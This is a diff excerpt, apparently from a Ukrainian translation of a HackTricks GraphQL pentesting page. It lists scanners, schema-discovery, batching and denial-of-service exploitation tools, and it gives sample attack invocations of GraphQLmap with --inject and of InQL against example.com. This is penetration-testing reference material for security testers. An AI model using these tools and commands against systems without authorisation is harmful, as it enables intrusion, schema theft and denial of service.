[https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Тестування поширених неправильних налаштувань graphql кінцевих точок +- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Тестування поширених неправильних налаштувань кінцевих точок graphql - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Скрипт аудиту безпеки GraphQL з акцентом на виконання пакетних запитів та мутацій GraphQL. -- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Визначення графіку, що використовується -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Інструмент, який можна використовувати для отримання схем та пошуку чутливих даних, тестування авторизації, брутфорс схем та знаходження шляхів до певного типу. -- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Може використовуватися як автономний інструмент або [розширення Burp](https://github.com/doyensec/inql). -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Може використовуватися як CLI клієнт також для автоматизації атак: `python3 graphqlmap.py -u http://example.com/graphql --inject` +- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Визначення графіка, що використовується +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Набір інструментів, який можна використовувати для отримання схем і пошуку чутливих даних, тестування авторизації, брутфорс схем і знаходження шляхів до певного типу. +- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Може використовуватися як самостійний інструмент або [розширення Burp](https://github.com/doyensec/inql). +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Може використовуватися як CLI-клієнт також для автоматизації атак: `python3 graphqlmap.py -u http://example.com/graphql --inject` - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Інструмент, який перераховує різні способи **досягнення певного типу в схемі GraphQL**. -- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Наступник автономного та CLI режимів InQL +- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Наступник автономного та CLI-режимів InQL - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Розширення Burp або скрипт python для розширеного тестування GraphQL. _**Сканер**_ є основою InQL v5.0, де ви можете аналізувати кінцеву точку GraphQL або локальний файл схеми інспекції. Він автоматично генерує всі можливі запити та мутації, організуючи їх у структурований вигляд для вашого аналізу. Компонент _**Атакуючий**_ дозволяє вам виконувати пакетні атаки GraphQL, що може бути корисним для обходу погано реалізованих обмежень швидкості: `python3 inql.py -t http://example.com/graphql -o output.json` -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Спробуйте отримати схему навіть з вимкненою інспекцією, використовуючи допомогу деяких баз даних Graphql, які запропонують назви мутацій та параметрів. +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Спробуйте отримати схему, навіть якщо інспекцію вимкнено, за допомогою деяких баз даних Graphql, які запропонують назви мутацій і параметрів. ### Скрипти для експлуатації поширених вразливостей -- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Збірка скриптів для експлуатації вразливостей відмови в обслуговуванні в уразливих graphql середовищах. +- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Колекція скриптів для експлуатації вразливостей відмови в обслуговуванні в уразливих середовищах graphql. ### Клієнти @@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/ - [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) +- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8) +- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor) {{#include ../../banners/hacktricks-training.md}}